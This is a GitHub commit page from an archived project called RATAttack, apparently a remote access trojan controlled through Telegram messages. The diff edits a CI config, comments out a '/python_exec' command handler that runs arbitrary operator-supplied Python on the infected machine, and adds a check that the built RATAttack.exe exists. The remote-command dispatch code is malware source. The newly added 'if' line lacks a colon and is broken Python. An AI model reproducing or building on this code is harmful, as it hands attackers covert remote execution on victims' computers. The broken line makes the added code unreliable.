Skip to content
This repository has been archived by the owner on Aug 4, 2020. It is now read-only.

Commit

Permalink
added built binary check
Browse files Browse the repository at this point in the history
  • Loading branch information
mvrozanti committed Jun 29, 2019
1 parent 11f4fcb commit c8b5ef1
Show file tree
Hide file tree
Showing 3 changed files with 20 additions and 15 deletions.
2 changes: 1 addition & 1 deletion .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ py37-steps: &py37-steps

matrix:
allow_failures:
- python: "Python 2.7" # It is legacy Python after all...
- name: "Python 2.7" # It is legacy Python after all...
include:
- name: "Python 2.7"
<<: *py27-steps
Expand Down
26 changes: 13 additions & 13 deletions RATAttack.py
Original file line number Diff line number Diff line change
Expand Up @@ -474,19 +474,19 @@ def handle(msg):
response = 'Usage: /python_exec print(\'printing\')'
else:
cd.log('w','Executing python command')
from StringIO import StringIO
import sys
old_stderr = sys.stderr
old_stdout = sys.stdout
sys.stderr = mystderr = StringIO()
sys.stdout = mystdout = StringIO()
exec(command in globals())
if mystderr.getvalue() != None:
response += mystderr.getvalue()
if mystdout.getvalue() != None:
response += mystdout.getvalue()
sys.stderr = old_stderr
sys.stdout = old_stdout
# from StringIO import StringIO
# import sys
# old_stderr = sys.stderr
# old_stdout = sys.stdout
# sys.stderr = mystderr = StringIO()
# sys.stdout = mystdout = StringIO()
# exec(command in globals())
# if mystderr.getvalue() != None:
# response += mystderr.getvalue()
# if mystdout.getvalue() != None:
# response += mystdout.getvalue()
# sys.stderr = old_stderr
# sys.stdout = old_stdout
if response == '':
response = 'Expression executed. No return or malformed expression.'
elif command == '/reboot':
Expand Down
7 changes: 6 additions & 1 deletion setup_rat.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from platform import machine
from os import system as s
from os.path import exists
import sys

auto = len(sys.argv) == 2 and sys.argv[1] == '--yes'
Expand Down Expand Up @@ -28,4 +29,8 @@
input('\n\nDid the install run correctly?\n\n\nPress ENTER to build')

s('compile.bat')
print('\n\nScript has finished')

if exists('dist/RATAttack.exe')
print('\n\nScript has finished')
else:
exit(1)

0 comments on commit c8b5ef1

Please sign in to comment.